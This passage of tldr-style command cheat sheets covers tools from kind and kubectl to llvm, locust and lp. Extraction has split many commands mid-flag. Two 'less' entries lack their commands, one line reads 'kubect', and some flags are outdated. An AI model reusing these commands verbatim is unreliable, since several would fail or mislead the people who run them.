kind create cluster --name {{cluster_name}}

• Delete one or more clusters:

kind delete clusters {{cluster_name}}

• Get details about clusters, nodes, or the kubeconfig:

kind get {{clusters|nodes|kubeconfig}}

• Export the kubeconfig or the logs:

kind export {{kubeconfig|logs}}


kitty
A fast, feature-rich, GPU based terminal emulator.

More information: https://sw.kovidgoyal.net/kitty/.

• Open a new terminal:

kitty

• Open a terminal with the specified title for the window:

kitty --title "{{title}}"

• Start the theme-chooser builtin:

kitty +kitten themes

• Display an image in the terminal:

kitty +kitten icat {{path/to/image}}

• Copy the contents of stdin to the clipboard:

echo {{example}} | kitty +kitten clipboard


kiwi-ng
KIWI NG is an OS image and appliance builder.

More information: https://osinside.github.io/kiwi/.

• Build an appliance:

kiwi-ng system build --description={{path/to/directory}} --


target-dir={{path/to/directory}}

• Show build result of built appliance:

kiwi-ng result list --target-dir={{path/to/directory}}

• Display help:

kiwi-ng help

• Display version:

kiwi-ng -v
knife
CLI for interacting with a Chef server from a local Chef repo.

More information: https://docs.chef.io/knife.html.

• Bootstrap a new node:

knife bootstrap {{fqdn_or_ip}}

• List all registered nodes:

knife node list

• Show a node:

knife node show {{node_name}}

• Edit a node:

knife node edit {{node_name}}

• Edit a role:

knife role edit {{role_name}}

• View a data bag:

knife data bag show {{data_bag_name}} {{data_bag_item}}

• Upload a local cookbook to the Chef server:

knife cookbook upload {{cookbook_name}}


kompose
A tool to convert docker-compose applications to Kubernetes.

More information: https://github.com/kubernetes/kompose.

• Deploy a dockerized application to Kubernetes:

kompose up -f {{docker-compose.yml}}

• Delete instantiated services/deployments from Kubernetes:

kompose down -f {{docker-compose.yml}}

• Convert a docker-compose file into Kubernetes resources file:

kompose convert -f {{docker-compose.yml}}


kops
Create, destroy, upgrade and maintain Kubernetes clusters from the command-line.

More information: https://github.com/kubernetes/kops/.

• Create a cluster from the configuration specification:

kops create cluster -f {{cluster_name.yaml}}

• Create a new ssh public key:

kops create secret sshpublickey {{key_name}} -i {{~/.ssh/


id_rsa.pub}}

• Export the cluster configuration to the ~/.kube/config file:

kops export kubecfg {{cluster_name}}

• Get the cluster configuration as YAML:

kops get cluster {{cluster_name}} -o yaml

• Delete a cluster:

kops delete cluster {{cluster_name}} --yes


kosmorro
Compute the ephemerides and the events for a given date, at a given position on Earth.

More information: http://kosmorro.space.

• Get ephemerides for Paris, France:

kosmorro --latitude={{48.7996}} --longitude={{2.3511}}

• Get ephemerides for Paris, France, in the UTC+2 timezone:

kosmorro --latitude={{48.7996}} --longitude={{2.3511}} --


timezone={{2}}

• Get ephemerides for Paris, France, on June 9th, 2020:

kosmorro --latitude={{48.7996}} --longitude={{2.3511}} --


date={{2020-06-09}}

• Generate a PDF (note: TeXLive must be installed):

kosmorro --format={{pdf}} --output={{path/to/file.pdf}}


kotlin
Kotlin Application Launcher.

More information: https://kotlinlang.org.

• Run a jar file:

kotlin {{filename.jar}}

• Display Kotlin and JVM version:

kotlin -version
kotlinc
Kotlin compiler.

More information: https://kotlinlang.org/docs/command-line.html.

• Start a REPL (interactive shell):

kotlinc

• Compile a Kotlin file:

kotlinc {{path/to/file.kt}}

• Compile several Kotlin files:

kotlinc {{path/to/file1.kt path/to/file2.kt ...}}

• Execute a specific Kotlin Script file:

kotlinc -script {{path/to/file.kts}}

• Compile a Kotlin file into a self contained jar file with the Kotlin runtime library
included:

kotlinc {{path/to/file.kt}} -include-runtime -d {{path/to/


file.jar}}
ksh
Korn Shell, a Bash-compatible command-line interpreter.

See also histexpand for history expansion.

More information: http://kornshell.com.

• Start an interactive shell session:

ksh

• Execute a command and then exit:

ksh -c "{{command}}"

• Execute a script:

ksh {{path/to/script.ksh}}

• Execute a script, printing each command before executing it:

ksh -x {{path/to/script.ksh}}
kube-capacity
A simple CLI that provides an overview of the resource requests, limits, and utilization
in a Kubernetes cluster.

Combine the best parts of kubectl top and kubectl describe into a CLI focused
on cluster resources.

More information: https://github.com/robscott/kube-capacity.

• Output a list of nodes with the total CPU and Memory resource requests and
limits:

kube-capacity

• Include pods:

kube-capacity -p

• Include utilization:

kube-capacity -u
kube-fzf
Shell commands for command-line fuzzy searching of Kubernetes Pods.

See also kubectl for related commands.

More information: https://github.com/thecasualcoder/kube-fzf.

• Get pod details (from current namespace):

findpod

• Get pod details (from all namespaces):

findpod -a

• Describe a pod:

describepod

• Tail pod logs:

tailpod

• Exec into a pod's container:

execpod {{shell_command}}

• Port-forward a pod:

pfpod {{port_number}}
kubeadm
Command-line interface for creating and managing Kubernetes clusters.

More information: https://kubernetes.io/docs/reference/setup-tools/kubeadm.

• Create a Kubernetes master node:

kubeadm init

• Bootstrap a Kubernetes worker node and join it to a cluster:

kubeadm join --token {{token}}

• Create a new bootstrap token with a TTL of 12 hours:

kubeadm token create --ttl {{12h0m0s}}

• Check if the Kubernetes cluster is upgradeable and which versions are available:

kubeadm upgrade plan

• Upgrade Kubernetes cluster to a specified version:

kubeadm upgrade apply {{version}}

• View the kubeadm ConfigMap containing the cluster's configuration:

kubeadm config view

• Revert changes made to the host by 'kubeadm init' or 'kubeadm join':

kubeadm reset
kubectl delete
Delete Kubernetes resources.

More information: https://kubernetes.io/docs/reference/generated/kubectl/kubectl-


commands#delete.

• Delete a specific pod:

kubectl delete pod {{pod_name}}

• Delete a specific deployment:

kubect delete deployment {{deployment_name}}

• Delete a specific node:

kubectl delete node {{node_name}}

• Delete all pods in a specified namespace:

kubectl delete pods --all --namespace {{namespace}}

• Delete all deployments and services in a specified namespace:

kubectl delete deployments,services --all --namespace


{{namespace}}

• Delete all nodes:

kubectl delete nodes --all

• Delete resources defined in a YAML manifest:

kubectl delete --filename {{path/to/manifest.yaml}}


kubectl describe
Show details of Kubernetes objects and resources.

More information: https://kubernetes.io/docs/reference/generated/kubectl/kubectl-


commands#describe.

• Show details of pods in a namespace:

kubectl describe pods -n {{namespace}}

• Show details of nodes in a namespace:

kubectl describe nodes -n {{namespace}}

• Show the details of a specific pod in a namespace:

kubectl describe pods {{pod_name}} -n {{namespace}}

• Show the details of a specific node in a namespace:

kubectl describe nodes {{node_name}} -n {{namespace}}

• Show details of Kubernetes objects defined in a YAML manifest:

kubectl describe -f {{path/to/manifest}}.yaml


kubectl get
Get Kubernetes objects and resources.

More information: https://kubernetes.io/docs/reference/generated/kubectl/kubectl-


commands#get.

• Get all namespaces in the current cluster:

kubectl get namespaces

• Get nodes in a specified namespace:

kubectl get nodes -n {{namespace}}

• Get pods in a specified namespace:

kubectl get pods -n {{namespace}}

• Get deployments in a specified namespace:

kubectl get deployments -n {{namespace}}

• Get services in a specified namespace:

kubectl get services -n {{namespace}}

• Get all resources in a specified namespace:

kubectl get all -n {{namespace}}

• Get Kubernetes objects defined in a YAML manifest:

kubectl get -f {{path/to/manifest}}.yaml


kubectl logs
Show logs for containers in a pod.

More information: https://kubernetes.io/docs/reference/generated/kubectl/kubectl-


commands#logs.

• Show logs for a single-container pod:

kubectl logs {{pod_name}}

• Show logs for a specified container in a pod:

kubectl logs --container {{container_name}} {{pod_name}}

• Show logs for all containers in a pod:

kubectl logs --all-containers={{true}} {{pod_name}}

• Stream pod logs:

kubectl logs --follow {{pod_name}}

• Stream logs for a specified container in a pod:

kubectl logs --follow --container {{container_name}}


{{pod_name}}

• Show pod logs newer than a relative time like 10s, 5m, or 1h:

kubectl logs --since={{relative_time}} {{pod_name}}

• Show the 10 most recent logs in a pod:

kubectl logs --tail={{10}} {{pod_name}}


kubectl rollout
Manage the rollout of a Kubernetes resource (deployments, daemonsets, and
statefulsets).

More information: https://kubernetes.io/docs/reference/generated/kubectl/kubectl-


commands#rollout.

• Start a rolling restart of a resource:

kubectl rollout restart {{resource_type}}/{{resource_name}}

• Watch the rolling update status of a resource:

kubectl rollout status {{resource_type}}/{{resource_name}}

• Roll back a resource to the previous revision:

kubectl rollout undo {{resource_type}}/{{resource_name}}

• View the rollout history of a resource:

kubectl rollout history {{resource_type}}/{{resource_name}}


kubectl run
Run pods in Kubernetes. Specifies pod generator to avoid deprecation error in some K8S
versions.

More information: https://kubernetes.io/docs/reference/generated/kubectl/kubectl-


commands#run.

• Run an nginx pod and expose port 80:

kubectl run --generator=run-pod/v1 nginx --image=nginx --port


80

• Run an nginx pod, setting the TEST_VAR environment variable:

kubectl run --generator=run-pod/v1 nginx --image=nginx --


env="TEST_VAR=testing"

• Show API calls that would be made to create an nginx container:

kubectl run --generator=run-pod/v1 nginx --image=nginx --dry-


run

• Run an Ubuntu pod interactively, never restart it, and remove it when it exits:

kubectl run --generator=run-pod/v1 -it temp-ubuntu --


image=ubuntu:20.04 --restart=Never --rm -- /bin/bash

• Run an Ubuntu pod, overriding the default command with echo, and specifying
custom arguments:

kubectl run --generator=run-pod/v1 temp-ubuntu --


image=ubuntu:20.04 --command -- echo arg1 arg2 arg3
kubectl
Command-line interface for running commands against Kubernetes clusters.

Some subcommands such as kubectl run have their own usage documentation.

More information: https://kubernetes.io/docs/reference/kubectl/.

• List information about a resource with more details:

kubectl get {{pod|service|deployment|ingress|...}} -o wide

• Update specified pod with the label 'unhealthy' and the value 'true':

kubectl label pods {{name}} unhealthy=true

• List all resources with different types:

kubectl get all

• Display resource (CPU/Memory/Storage) usage of nodes or pods:

kubectl top {{pod|node}}

• Print the address of the master and cluster services:

kubectl cluster-info

• Display an explanation of a specific field:

kubectl explain {{pods.spec.containers}}

• Print the logs for a container in a pod or specified resource:

kubectl logs {{pod_name}}

• Run command in an existing pod:

kubectl exec {{pod_name}} -- {{ls /}}


kubectx
Utility to manage and switch between kubectl contexts.

More information: https://github.com/ahmetb/kubectx.

• List the contexts:

kubectx

• Switch to a named context:

kubectx {{name}}

• Switch to the previous context:

kubectx -

• Delete a named context:

kubectx -d {{name}}
kubens
Utility to switch between Kubernetes namespaces.

More information: https://github.com/ahmetb/kubectx.

• List the namespaces:

kubens

• Change the active namespace:

kubens {{name}}

• Switch to the previous namespace:

kubens -
kubetail
Utility to tail multiple Kubernetes pod logs at the same time.

More information: https://github.com/johanhaleby/kubetail.

• Tail the logs of multiple pods (whose name starts with "my_app") in one go:

kubetail {{my_app}}

• Tail only a specific container from multiple pods:

kubetail {{my_app}} -c {{my_container}}

• To tail multiple containers from multiple pods:

kubetail {{my_app}} -c {{my_container_1}} -c


{{my_container_2}}

• To tail multiple applications at the same time separate them by comma:

kubetail {{my_app_1}},{{my_app_2}}
kustomize
Kustomize is a tool to easily deploy resources for Kubernetes.

More information: https://github.com/kubernetes-sigs/kustomize.

• Create kustomization file with resources and namespace:

kustomize create --resources {{deployment.yaml,service.yaml}}


--namespace {{staging}}

• Build kustomization file and deploy it with kubectl:

kustomize build . | kubectl apply -f -

• Set an image in the kustomization file:

kustomize edit set image {{busybox=alpine:3.6}}

• Search for Kubernetes resources in the current directory to be added to the


kustomization file:

kustomize create --autodetect


lambo new
A super-powered laravel new for Laravel and Valet.

More information: https://github.com/tighten/lambo.

• Create a new Laravel application:

lambo new {{app_name}}

• Install the application in a specific path:

lambo new --path={{path/to/directory}} {{app_name}}

• Include authentication scaffolding:

lambo new --auth {{app_name}}

• Include a specific frontend:

lambo new --{{vue|bootstrap|react}} {{app_name}}

• Install npm dependencies after the project has been created:

lambo new --node {{app_name}}

• Create a Valet site after the project has been created:

lambo new --link {{app_name}}

• Create a new MySQL database with the same name as the project:

lambo new --create-db --dbuser={{user}} --


dbpassword={{password}} {{app_name}}

• Open a specific editor after the project has been created:

lambo new --editor="{{editor}}" {{app_name}}


lambo
A super-powered laravel new for Laravel and Valet.

See also lambo new for additional command flags.

More information: https://github.com/tighten/lambo.

• Create a new Laravel application:

lambo new {{app_name}}

• Open the configuration in your default editor:

lambo edit-config

• Open the configuration in a specific editor:

lambo edit-config --editor="{{path/to/editor}}"

• Open the configuration file that is run after new applications have been
scaffolded:

lambo edit-after
laravel-zero
A command-line installer for the Laravel Zero framework.

More information: https://laravel-zero.com.

• Create a new Laravel Zero application:

laravel-zero new {{name}}

• Update the installer to the latest version:

laravel-zero self-update

• List the available installer commands:

laravel-zero list
laravel
A command-line installer for the Laravel framework.

More information: https://laravel.com.

• Create a new Laravel application:

laravel new {{name}}

• Use the latest development release:

laravel new {{name}} --dev

• Overwrite if the directory already exists:

laravel new {{name}} --force

• Install the Laravel Jetstream scaffolding:

laravel new {{name}} --jet

• Install the Laravel Jetstream scaffolding with a specific stack:

laravel new {{name}} --jet --stack {{livewire|inertia}}

• Install the Laravel Jetstream scaffolding with support for teams:

laravel new {{name}} --jet --teams

• List the available installer commands:

laravel list
last
View the last logged in users.

More information: https://manned.org/last.

• View last logins, their duration and other information as read from /var/log/
wtmp:

last

• Specify how many of the last logins to show:

last -n {{login_count}}

• Print the full date and time for entries and then display the hostname column last
to prevent truncation:

last -F -a

• View all logins by a specific user and show the IP address instead of the hostname:

last {{username}} -i

• View all recorded reboots (i.e., the last logins of the pseudo user "reboot"):

last reboot

• View all recorded shutdowns (i.e., the last logins of the pseudo user "shutdown"):

last shutdown
latex
Compile a DVI document from LaTeX source files.

More information: https://www.latex-project.org.

• Compile a DVI document:

latex {{source.tex}}

• Compile a DVI document, specifying an output directory:

latex -output-directory={{path/to/directory}} {{source.tex}}

• Compile a DVI document, exiting on each error:

latex -halt-on-error {{source.tex}}


latexmk
Compile LaTeX source files into finished documents.

Automatically does multiple runs when needed.

More information: https://mg.readthedocs.io/latexmk.html.

• Compile a DVI (Device Independent file) document from every source:

latexmk

• Compile a DVI document from a specific source file:

latexmk {{source.tex}}

• Compile a PDF document:

latexmk -pdf {{source.tex}}

• Force the generation of a document even if there are errors:

latexmk -f {{source.tex}}

• Clean up temporary TEX files created for a specific TEX file:

latexmk -c {{source.tex}}

• Clean up all temporary TEX files in the current directory:

latexmk -c
lb
A tool for managing a blog contained in the current directory.

Drafts and posts to operate on are selected interactively when running the commands.

More information: https://github.com/LukeSmithxyz/lb.

• Make a new draft:

lb new

• Edit a draft:

lb edit

• Delete a draft:

lb trash

• Publish a draft:

lb publish

• Delete a published post:

lb delete

• Unpublish a published post to edit it as a draft again:

lb revise
ldapsearch
CLI utility for querying an LDAP directory.

More information: https://docs.ldap.com/ldap-sdk/docs/tool-usages/ldapsearch.html.

• Query an LDAP server for all items that are a member of the given group and
return the object's displayName value:

ldapsearch -D '{{admin_DN}}' -w '{{password}}' -h


{{ldap_host}} -b {{base_ou}} '{{memberOf=group1}}'
displayName

• Query an LDAP server with a no-newline password file for all items that are a
member of the given group and return the object's displayName value:

ldapsearch -D '{{admin_DN}}' -y '{{password_file}}' -h


{{ldap_host}} -b {{base_ou}} '{{memberOf=group1}}'
displayName

• Return 5 items that match the given filter:

ldapsearch -D '{{admin_DN}}' -w '{{password}}' -h


{{ldap_host}} -b {{base_ou}} '{{memberOf=group1}}' -z 5
displayName

• Wait up to 7 seconds for a response:

ldapsearch -D '{{admin_DN}}' -w '{{password}}' -h


{{ldap_host}} -b {{base_ou}} '{{memberOf=group1}}' -l 7
displayName

• Invert the filter:

ldapsearch -D '{{admin_DN}}' -w '{{password}}' -h


{{ldap_host}} -b {{base_ou}} '(!(memberOf={{group1}}))'
displayName

• Return all items that are part of multiple groups, returning the display name for
each item:

ldapsearch -D '{{admin_DN}}' -w '{{password}}' -h


{{ldap_host}} '(&({{memberOf=group1}})({{memberOf=group2}})
({{memberOf=group3}}))' "displayName"

• Return all items that are members of at least 1 of the specified groups:
ldapsearch -D '{{admin_DN}}' -w '{{password}}' -h
{{ldap_host}} '(|({{memberOf=group1}})({{memberOf=group1}})
({{memberOf=group3}}))' displayName

• Combine multiple boolean logic filters:

ldapsearch -D '{{admin_DN}}' -w '{{password}}' -h


{{ldap_host}} '(&({{memberOf=group1}})({{memberOf=group2}})(!
({{memberOf=group3}})))' displayName
leave
Set a reminder for when it's time to leave.

To remove reminders use kill $(pidof leave).

More information: https://www.freebsd.org/cgi/man.cgi?query=leave.

• Set a reminder at a given time:

leave {{time_to_leave}}

• Set a reminder to leave at noon:

leave {{1200}}

• Set a reminder in a specific amount of time:

leave +{{amount_of_time}}

• Set a reminder to leave in 4 hours and 4 minutes:

leave +{{0404}}
lebab
A JavaScript modernizer for transpiling code to ES6/ES7.

Transformations must be provided for all examples.

More information: https://github.com/lebab/lebab.

• Display a list of the available transformations:

lebab --help

• Transpile using one or more comma-separated transformations:

lebab --transform {{transformation}}

• Transpile a file to stdout:

lebab {{path/to/input_file}}

• Transpile a file to the specified output file:

lebab {{path/to/input_file}} --out-file {{path/to/


output_file}}

• Replace all .js files in-place in the specified directory, glob or file:

lebab --replace {{directory|glob|file}}


ledger
Ledger is a powerful, double-entry accounting system that is accessed from the UNIX
command-line.

More information: https://www.ledger-cli.org.

• Print a balance report showing totals:

ledger balance --file {{path/to/ledger.journal}}

• List all postings in Expenses ordered by amount:

ledger register {{expenses}} --sorted {{amount}}

• Print total Expenses other than Drinks and Food:

ledger balance {{Expenses}} and not ({{Drinks}} or {{Food}})

• Print a budget report:

ledger budget

• Print summary information about all the postings:

ledger stats
lein
Manage Clojure projects with declarative configuration.

More information: https://leiningen.org.

• Generate scaffolding for a new project based on a template:

lein new {{template_name}} {{project_name}}

• Start a REPL session either with the project or standalone:

lein repl

• Run the project's -main function with optional args:

lein run {{args}}

• Run the project's tests:

lein test

• Package up the project files and all its dependencies into a jar file:

lein uberjar
less
Open a file for interactive reading, allowing scrolling and search.

More information: https://greenwoodsoftware.com/less/.

• Open a file:

less {{source_file}}

• Page down / up:

<Space> (down), b (up)

• Go to end / start of file:

G (end), g (start)

• Forward search for a string (press n/N to go to next/previous match):

/{{something}}

• Backward search for a string (press n/N to go to next/previous match):

?{{something}}

• Follow the output of the currently opened file:

• Open the current file in an editor:

• Exit:

q
lex
Lexical analyser generator.

Given the specification for a lexical analyser, generates C code implementing it.

More information: https://manned.org/lex.1.

• Generate an analyser from a Lex file:

lex {{analyser.l}}

• Specify the output file:

lex {{analyser.l}} --outfile {{analyser.c}}

• Compile a C file generated by Lex:

cc {{path/to/lex.yy.c}} --output {{executable}}


license
Create license files for open-source projects.

More information: https://nishanths.github.io/license.

• Print a license to stdout, using the defaults (auto-detected author name, and
current year):

license {{license_name}}

• Generate a license and save it to a file:

license -o {{filename}} {{license_name}}

• List all available licenses:

license ls

• Generate a license with custom author name and year:

license --name {{author}} --year {{release_year}}


{{license_name}}
light-arionum-cli
The PHP light wallet for the Arionum cryptocurrency.

More information: https://github.com/arionum/lightWalletCLI.

• Generate a new public/private key pair:

light-arionum-cli

• Display the balance of the current address:

light-arionum-cli balance

• Display the balance of the specified address:

light-arionum-cli balance {{address}}

• Send a transaction with an optional message:

light-arionum-cli send {{address}} {{value}}


{{optional_message}}

• Export the current wallet information:

light-arionum-cli export

• Display information about the current block:

light-arionum-cli block

• Display information about the current address' transactions:

light-arionum-cli transactions

• Display information about a specific transaction:

light-arionum-cli transaction {{transaction_id}}


lighthouse
Analyzes web applications and web pages, collecting modern performance metrics and
insights on developer best practices.

More information: https://github.com/GoogleChrome/lighthouse.

• Generate an HTML report for a specific website and save it to a file in the current
directory:

lighthouse {{https://example.com}}

• Generate a JSON report and print it:

lighthouse --output {{json}} {{https://example.com}}

• Generate a JSON report and save it to a specific file:

lighthouse --output {{json}} --output-path {{path/to/


file.json}} {{https://example.com}}

• Generate a report using the browser in headless mode without logging to stdout:

lighthouse --quiet --chrome-flags="{{--headless}}" {{https://


example.com}}

• Generate a report, using the HTTP header key/value pairs in the specified JSON file
for all requests:

lighthouse --extra-headers={{path/to/file.json}} {{https://


example.com}}

• Generate a report for specific categories only:

lighthouse --only-
categories={{performance,accessibility,best-
practices,seo,pwa}} {{https://example.com}}

• Generate a report with device emulation and all throttling disabled:

lighthouse --screenEmulation.disabled --throttling-


method={{provided}} --no-emulatedUserAgent {{https://
example.com}}

• Display help:

lighthouse --help
lilypond
Typeset music and/or produce MIDI from file.

More information: https://lilypond.org.

• Compile a lilypond file into a PDF:

lilypond {{path/to/file}}

• Compile into the specified format:

lilypond --formats={{format_dump}} {{path/to/file}}

• Compile the specified file, suppressing progress updates:

lilypond -s {{path/to/file}}

• Compile the specified file, and also specify the output filename:

lilypond --output={{path/to/output_file}} {{path/to/


input_file}}

• Show the current version of lilypond:

lilypond --version
link
Create a hard link to an existing file.

For more options, see the ln command.

More information: https://www.gnu.org/software/coreutils/link.

• Create a hard link from a new file to an existing file:

link {{path/to/existing_file}} {{path/to/new_file}}


linkchecker
Command-line client to check HTML documents and websites for broken links.

More information: https://linkchecker.github.io/linkchecker/.

• Find broken links on https://example.com/:

linkchecker {{https://example.com/}}

• Also check URLs that point to external domains:

linkchecker --check-extern {{https://example.com/}}

• Ignore URLs that match a specific regular expression:

linkchecker --ignore-url {{regular_expression}} {{https://


example.com/}}

• Output results to a CSV file:

linkchecker --file-output {{csv}}/{{path/to/file}} {{https://


example.com/}}
live-server
A simple development HTTP server with live reload capability.

More information: https://www.npmjs.com/package/live-server.

• Serve an index.html file and reload on changes:

live-server

• Specify a port (default is 8080) from which to serve a file:

live-server --port={{8081}}

• Specify a given file to serve:

live-server --open={{about.html}}

• Proxy all requests for ROUTE to URL:

live-server --proxy={{/}}:{{http:localhost:3000}}
llc
Compiles LLVM Intermediate Representation or bitcode to target-specific assembly
language.

More information: https://www.llvm.org/docs/CommandGuide/llc.html.

• Compile a bitcode or IR file to an assembly file with the same base name:

llc {{path/to/file.ll}}

• Enable all optimizations:

llc -O3 {{path/to/input.ll}}

• Output assembly to a specific file:

llc --output {{path/to/output.s}}

• Emit fully relocateable, position independent code:

llc -relocation-model=pic {{path/to/input.ll}}


lldb
The LLVM Low-Level Debugger.

More information: https://lldb.llvm.org.

• Debug an executable:

lldb {{executable}}

• Attach lldb to a running process with a given PID:

lldb -p {{pid}}

• Wait for a new process to launch with a given name, and attach to it:

lldb -w -n {{process_name}}
lli
Directly execute programs from LLVM bitcode.

More information: https://www.llvm.org/docs/CommandGuide/lli.html.

• Execute a bitcode or IR file:

lli {{path/to/file.ll}}

• Execute with command line arguments:

lli {{path/to/file.ll}} {{argument1 argument2 ...}}

• Enable all optimizations:

lli -O3 {{path/to/file.ll}}

• Load a dynamic library before linking:

lli --dlopen={{path/to/library.dll}} {{path/to/file.ll}}


llvm-ar
This command is an alias of ar.

• View documentation for the original command:

tldr ar
llvm-as
LLVM Intermediate Representation (.ll) to Bitcode (.bc) assembler.

More information: https://llvm.org/docs/CommandGuide/llvm-as.html.

• Assemble an IR file:

llvm-as -o {{path/to/out.bc}} {{path/to/source.ll}}

• Assemble an IR file and include a module hash in the produced Bitcode file:

llvm-as --module-hash -o {{path/to/out.bc}} {{path/to/


source.ll}}

• Read an IR file from stdin and assemble it:

cat {{path/to/source.ll}} | llvm-as -o {{path/to/out.bc}}


llvm-bcanalyzer
LLVM Bitcode (.bc) analyzer.

More information: https://llvm.org/docs/CommandGuide/llvm-bcanalyzer.html.

• Print statistics about a Bitcode file:

llvm-bcanalyzer {{path/to/file.bc}}

• Print an SGML representation and statistics about a Bitcode file:

llvm-bcanalyzer -dump {{path/to/file.bc}}

• Read a Bitcode file from stdin and analyze it:

cat {{path/to/file.bc}} | llvm-bcanalyzer


llvm-cat
Concatenate LLVM Bitcode (.bc) files.

More information: https://github.com/llvm/llvm-project/blob/main/llvm/tools/llvm-cat/


llvm-cat.cpp.

• Concatenate Bitcode files:

llvm-cat {{path/to/file1.bc}} {{path/to/file2.bc}} -o {{path/


to/out.bc}}
llvm-config
Get various configuration information needed to compile programs which use LLVM.

Typically called from build systems, like in Makefiles or configure scripts.

More information: https://llvm.org/docs/CommandGuide/llvm-config.html.

• Compile and link an LLVM based program:

clang++ $(llvm-config --cxxflags --ldflags --libs) --output


{{path/to/output_executable}} {{path/to/source.cc}}

• Print the PREFIX of your LLVM installation:

llvm-config --prefix

• Print all targets supported by your LLVM build:

llvm-config --targets-built
llvm-dis
Converts LLVM bitcode files into human-readable LLVM Intermediate Representation
(IR).

More information: https://www.llvm.org/docs/CommandGuide/llvm-dis.html.

• Convert a bitcode file as LLVM IR and write the result to stdout:

llvm-dis {{path/to/input.bc}} -o -

• Convert a bitcode file to an LLVM IR file with the same filename:

llvm-dis {{path/to/file.bc}}

• Convert a bitcode file to LLVM IR, writing the result to the specified file:

llvm-dis {{path/to/input.bc}} -o {{path/to/output.ll}}


llvm-g++
This command is an alias of clang++.

• View documentation for the original command:

tldr clang++
llvm-gcc
This command is an alias of clang.

• View documentation for the original command:

tldr clang
llvm-nm
This command is an alias of nm.

• View documentation for the original command:

tldr nm
llvm-objdump
This command is an alias of objdump.

• View documentation for the original command:

tldr objdump
llvm-strings
This command is an alias of strings.

• View documentation for the original command:

tldr strings
lmms
Free, open source, cross-platform digital audio workstation.

Render a .mmp or .mmpz project file, dump a .mmpz as XML, or start the GUI.

More information: https://lmms.io.

• Start the GUI:

lmms

• Start the GUI and load external config:

lmms --config {{path/to/config.xml}}

• Start the GUI and import MIDI or Hydrogen file:

lmms --import {{path/to/midi/or/hydrogen/file}}

• Start the GUI with a specified window size:

lmms --geometry {{x_size}}x{{y_size}}+{{x_offset}}+


{{y_offset}}

• Dump a .mmpz file:

lmms dump {{path/to/mmpz/file.mmpz}}

• Render a project file:

lmms render {{path/to/mmpz_or_mmp/file}}

• Render the individual tracks of a project file:

lmms rendertracks {{path/to/mmpz_or_mmp/file}} {{path/to/


dump/directory}}

• Render with custom samplerate, format, and as a loop:

lmms render --samplerate {{88200}} --format {{ogg}} --loop --


output {{path/to/output/file.ogg}}
ln
Creates links to files and directories.

More information: https://www.gnu.org/software/coreutils/ln.

• Create a symbolic link to a file or directory:

ln -s {{/path/to/file_or_directory}} {{path/to/symlink}}

• Overwrite an existing symbolic link to point to a different file:

ln -sf {{/path/to/new_file}} {{path/to/symlink}}

• Create a hard link to a file:

ln {{/path/to/file}} {{path/to/hardlink}}
loadtest
Run a load test on the selected HTTP or WebSockets URL.

More information: https://github.com/alexfernandez/loadtest.

• Run with concurrent users and a specified amount of requests per second:

loadtest --concurrency {{10}} --rps {{200}} {{https://


example.com}}

• Run with a custom HTTP header:

loadtest --headers "{{accept:text/plain;text-html}}"


{{https://example.com}}

• Run with a specific HTTP method:

loadtest --method {{GET}} {{https://example.com}}


loc
Tool written in Rust that counts lines of code.

More information: https://github.com/cgag/loc.

• Print lines of code in the current directory:

loc

• Print lines of code in the target directory:

loc {{path/to/directory}}

• Print lines of code with stats for individual files:

loc --files

• Print lines of code without .gitignore (etc.) files (e.g. two -u flags will additionally
count hidden files and dirs):

loc -u
local
Declare local variables and give them attributes.

More information: https://www.gnu.org/software/bash/manual/bash.html#Bash-


Builtins.

• Declare a string variable with the specified value:

local {{variable}}="{{value}}"

• Declare an integer variable with the specified value:

local -i {{variable}}="{{value}}"

• Declare an array variable with the specified value:

local {{variable}}=({{item_a item_b item_c}})

• Declare an associative array variable with the specified value:

local -A {{variable}}=({{[key_a]=item_a [key_b]=item_b


[key_c]=item_c}})

• Declare a readonly variable with the specified value:

local -r {{variable}}="{{value}}"
locust
Load-testing tool to determine number of concurrent users a system can handle.

More information: https://locust.io.

• Load-test "example.com" with web interface using locustfile.py:

locust --host={{http://example.com}}

• Use a different test file:

locust --locustfile={{test_file.py}} --host={{http://


example.com}}

• Run test without web interface, spawning 1 user a second until there are 100 users:

locust --no-web --clients={{100}} --hatch-rate={{1}} --


host={{http://example.com}}

• Start locust in master mode:

locust --master --host={{http://example.com}}

• Connect locust slave to master:

locust --slave --host={{http://example.com}}

• Connect locust slave to master on a different machine:

locust --slave --master-host={{master_hostname}} --


host={{http://example.com}}
logger
Add messages to syslog (/var/log/syslog).

More information: https://manned.org/logger.

• Log a message to syslog:

logger {{message}}

• Take input from stdin and log to syslog:

echo {{log_entry}} | logger

• Send the output to a remote syslog server running at a given port. Default port is
514:

echo {{log_entry}} | logger --server {{hostname}} --port


{{port}}

• Use a specific tag for every line logged. Default is the name of logged in user:

echo {{log_entry}} | logger --tag {{tag}}

• Log messages with a given priority. Default is user.notice. See man logger for
all priority options:

echo {{log_entry}} | logger --priority {{user.warning}}


logname
Shows the user's login name.

More information: https://www.gnu.org/software/coreutils/logname.

• Display the currently logged in user's name:

logname
logstash
An Elasticsearch ETL (extract, transform and load) tool.

Commonly used to load data from various sources (such as databases and log files) into
Elasticsearch.

More information: https://www.elastic.co/products/logstash.

• Check validity of a Logstash configuration:

logstash --configtest --config {{logstash_config.conf}}

• Run Logstash using configuration:

sudo logstash --config {{logstash_config.conf}}

• Run Logstash with the most basic inline configuration string:

sudo logstash -e 'input {} filter {} output {}'


lolcat
Put a rainbow in everything you cat to the console.

More information: https://github.com/busyloop/lolcat.

• Print a file to the console in rainbow colors:

lolcat {{path/to/file}}

• Print the result of a text-producing command in rainbow colors:

{{fortune}} | lolcat

• Print a file to the console with animated rainbow colors:

lolcat -a {{path/to/file}}

• Print a file to the console with 24-bit (truecolor) rainbow colors:

lolcat -t {{path/to/file}}
lorem
Create more or less random lorem ipsum text.

More information: https://manned.org/lorem.

• Print the specified number of words:

lorem -n {{20}}

• Print 10 lines of Goethe's Faust:

lorem -l {{10}} --faust

• Print 5 sentences of Poe's Raven:

lorem -s {{5}} --raven

• Print 40 random characters from Boccaccio's Decameron:

lorem --randomize -c {{40}} --decamerone


lp
Print files.

More information: https://manned.org/lp.

• Print the output of a command to the default printer (see lpstat command):

echo "test" | lp

• Print a file to the default printer:

lp {{path/to/filename}}

• Print a file to a named printer (see lpstat command):

lp -d {{printer_name}} {{path/to/filename}}

• Print N copies of file to default printer (replace N with desired number of copies):

lp -n {{N}} {{path/to/filename}}

• Print only certain pages to the default printer (print pages 1, 3-5, and 16):

lp -P 1,3-5,16 {{path/to/filename}}

• Resume printing a job:

lp -i {{job_id}} -H resume
lpass
Command-line interface for the LastPass password manager.

